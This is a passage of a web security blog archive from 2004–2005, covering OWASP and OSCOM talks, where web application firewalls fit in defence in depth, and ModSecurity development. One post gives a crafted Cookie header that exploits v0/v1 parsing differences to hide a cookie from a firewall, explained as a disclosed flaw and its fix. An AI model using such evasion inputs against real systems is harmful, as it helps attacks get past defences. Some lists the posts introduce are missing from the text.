Arian Evans gave two talks: Application Security Assessment Tools: An Overview of Available Testing Tools and Advanced Defense Techniques against Web Application State and Session Management Threats. His talks are interesting because he is a fun guy to listen to, but also because he presents the listeners with a *lot* of raw facts, and then leaves them to draw their own conclusions.

Posted by ivanr at 10:47 AM

OWASP AppSec 2005 Impressions

Posted by ivanr on April 13, 2005.

Last weekend I attended the OWASP AppSec 2005 Europe here in London. I was there to give two talks, meet the people I only knew from email, and listen to the other speakers. When a conference is not aligned with my interests I tend to only come for the day(s) I speak on. This time, however, I was interested very much in what the others had to say! The experience has been great - two days filled with interesting talks and charismatic people. I hear the others had similar views of the event. On Saturday there was a dinner organised at a hotel/restaurant nearby. I was looking forward to attending but then had to be elsewhere that afternoon. That's the trouble when you live at the same place where the conference is being held.

I have uploaded my talks to the Thinking Stone web site: Apache Web Platform Security and Web Intrusion Detection With ModSecurity. I'll post again when the other presentations appear on the OWASP web site - there are some very interesting ones.

Posted by ivanr at 06:23 PM

External Web Application Protection: Impedance Mismatch

Posted by ivanr on March 09, 2005.

Web application firewalls have a difficult job trying to make sense of data that passes by, without any knowledge of the application and its business logic. The protection they provide comes from having an independent layer of security on the outside. Because data validation is done twice, security can be increased without having to touch the application. In some cases, however, the fact that everything is done twice brings problems. Problems can arise in the areas where the communication protocols are not well specified, or where either the device or the application do things that are not in the specification.

The worst offender is the cookie specification. (Actually all four of them: http://wp.netscape.com/newsref/std/cookie_spec.html, http://www.ietf.org/rfc/rfc2109.txt, http://www.ietf.org/rfc/rfc2964.txt, http://www.ietf.org/rfc/rfc2965.txt.) For many of the cases possible in real life there is no mention in the specification - leaving the programmers to do what they think is appropriate. For the largest part this is not a problem when the cookies are well formed, as most of them are. The problem is also very obvious because most applications only parse cookies they themselves send. It becomes a problem when you think from a point of view of a web application firewall, and a determined adversary trying to get past it. I’ll explain with an example.

In the 1.8.x branch and until 1.8.6 (I made improvements in 1.8.7), ModSecurity used a v1 cookie parser. When I wrote the parser I thought it was really good because it could handle both v0 and v1 cookies. However, I made a mistake of not thinking like an attacker would. As Stefan Esser pointed out to me recently, the differences between v0 and v1 formats could be exploited to make a v1 parser see one cookie where a v0 parser would see more. Here it is:

Cookie: innocent="; nasty=payload; third="

You see, a v0 parser does not understand double quotes. It typically only looks for semi-colons and splits the header accordingly. Such a parser sees cookies “innocent”, “nasty”, and “third”. A v1 parser, on the other hand, sees only one cookie - “innocent”.

How is the impedance mismatch affecting the web application firewall users and developers? It certainly makes our lives more difficult, but that’s all right - it’s a part of the game. Developers (of web application firewalls) will have to work to incorporate better and smarter parsing routines. For example, there are two cookie parsers in ModSecurity 1.8.7. The user can choose which one to use. (A v0 format parser is now used by default.) But such improvements, since they cannot be automated, only make using the firewall more difficult - one more thing for the users to think about and configure.

On the other hand, the users, if they don’t want to think about cookie parsers, can always fall back to use those parts of HTTP that are much better defined. Headers, for example. Instead of using COOKIE_innocent to target an individual cookie they can just use HTTP_Cookie to target the whole cookie header. Other variables, such as ARGS, will look at all variables at once no matter how hard adversaries try to mask them.

Posted by ivanr at 10:08 AM

Where Do Web Application Firewalls Fit in the Overall Defense Strategy?

Posted by ivanr on March 02, 2005.

Some people seem to think that, because I develop a web application firewall, I think web application firewalls are the best thing since sliced bread, and the solution for all web application security problems. It does not happen often but when it does it’s really annoying. Since I don’t believe blindly in web application firewalls I find it really boring to explain my opinion on this subject over and over again. So I thought it would be a good idea to write about it here, and be able to just point these people to my blog and get done with it. So here it is.

In theory, web application security is easy. By now we can say the subject is well researched and documented, so the “only” thing we need to do is work with people who understand it. In real life, however, there will be many obstacles. (These obstacles are not specific to web application security, but to security in general. You could even expand the scope to include software quality to some extent. But I digress.) Some of the problems are:

Life becomes much easier once you accept you will fail. To deal with the problem (in this case “deal” means minimize the chance of total failure) people invented an approach called defense in depth. By now, defense in depth is a well-known and widely accepted security principle. The basic idea is that you don’t want to put all your eggs into the same basket. Instead, assuming any part of the system can fail, you look for ways to configure other parts, or introduce new parts to limit the effect of the failure. The principle is easier to understand with an example. A good defense strategy would include the following elements:

The above list is just an example. I could go on adding more and more security elements. But even a short list such as this one is sufficient to demonstrate how the defense in depth principle dictates the use of multiple redundant protection systems.

As we can now see, web application firewalls are just one of the elements in the bigger picture. The way I see it, their major advantages are:

This is just the stuff intrusion detection and prevention systems have been doing for many years now. The only difference is web application firewalls understand HTTP better.

Finally, there is an important truth to understand. Generic web application firewalls, same as intrusion detection systems, are only good as the people managing them. Out of the box they don’t do much (although you will be hard pressed to get many of the vendors to agree). They must be configured properly by skilled people in order to become effective.

Posted by ivanr at 03:03 PM

AppSec Europe 2005 in London

Posted by ivanr on February 13, 2005.

The OWASP AppSec Europe 2005 conference will be held in April in London. This makes it very easy for me to attend since London is where I live. Not that I wouldn't go if it were anywhere else in Europe: application security is pretty much the only topic I am interested in these days. Looking at the AppSec 2005 agenda, this will be one of the few conferences I will attend and go to most of the talks. And it will be a pleasure to meet some of the people I have communicated in the past few years over the email.

I will be giving two talks at the conference. On day one I will talk about web intrusion detection and ModSecurity. On day two I will talk about application security on the Apache platform. I'll make more details available in the following weeks.

Posted by ivanr at 09:32 AM

PHP Security Consortium goes live

Posted by ivanr on January 31, 2005.

Now it is official. The PHP Security Consortium web site is live. (Read the press release.) A month or so ago, Chris Schiflett (who is also writing a book called "PHP Security" at the moment) decided to improve the state of PHP security. So he invited a group of people interested in the subject. I was one of them.

In January we discussed the organisation of the Consortium, the mission statement, the projects, and we created the web site. There is only one project live at the moment but it is very important. It's the PHP Security Guide, and it's based on the previously published PHP Security Workbook (which Chris wrote).

Posted by ivanr at 02:02 PM

OSCOM Talks Presentations Uploaded

Posted by ivanr on September 29, 2004.

I am almost ready to leave for OSCOM. Unfortunately, I can only be there on Friday but that will be enough to 1) give my talks and 2) see some people I only know from email. My throat is probably going to be very sore because as I am giving two consecutive talks. Oh well. Anyway, I've uploaded the PPT and PDF versions of both presentations (that's Threat Modelling For Web Applications and Challenges of Web Intrusion Detection) to http://www.thinkingstone.com/talks/. Have a go and let me know what you think.

Posted by ivanr at 11:24 PM

Portable web firewall rule format

Posted by ivanr on September 02, 2004.

For some time now I've been working on a portable web firewall rule format as part of the OASIS WAS technical committee. It's been going on for much longer than I anticipated, mainly because there is so much *other* work to do. But that's not necessarily a bad thing. That other stuff I did actually helped me design a better format. You see, my first attempts were overly ambitious and too complicated. They may have been technically more able but it is usually more important for a standard to be simple than foolproof. Just look at HTTP.

Anyway, I've decided to upload the latest version online and seek comments. There are many people/companies involved with web application firewalls so getting a format that really works for all of us is something that interest me a lot. If you are interested first have a look at the informal definition, then the schema, and then at one complete example.

Posted by ivanr at 04:59 PM

OSCOM4 Web Security Talks

Posted by ivanr on August 18, 2004.

I will be giving two talks at the forthcoming OSCOM4 conference in Zurich. The third track of the conference this year is an Apache track. It seems to be a lightweight ApacheCon Europe, hopefully as an introduction for the real thing in 2005. Anyway, the registration for OSCOM4 is now open so go and register if you are interested.

My talks will be about web security - no surprise there. The first talk, Threat Modeling for Web Applications will discuss what the real dangers to web applications are. Sure, web security is/was a big hit in 2004 but many people seem to be protecting from the wrong things. In the talk I will present a lightweight methodology how to determine what the biggest threats are, and how to guard against them.

The second talk, Challenges of Web Intrusion Detection, will look at the possible strategies to monitor web application usage in real time, detect and prevent attacks. IDS/IPS systems can exist on different levels (network, application, operating system) but the idea I want to put through is one of integration. Applications are often best equipped to detect anomalies. They just need to be integrated with an IDS system to make it work better. I am pretty sure mod_security will be a large part of this talk.

Posted by ivanr at 10:13 PM

WASC releases Threat Classification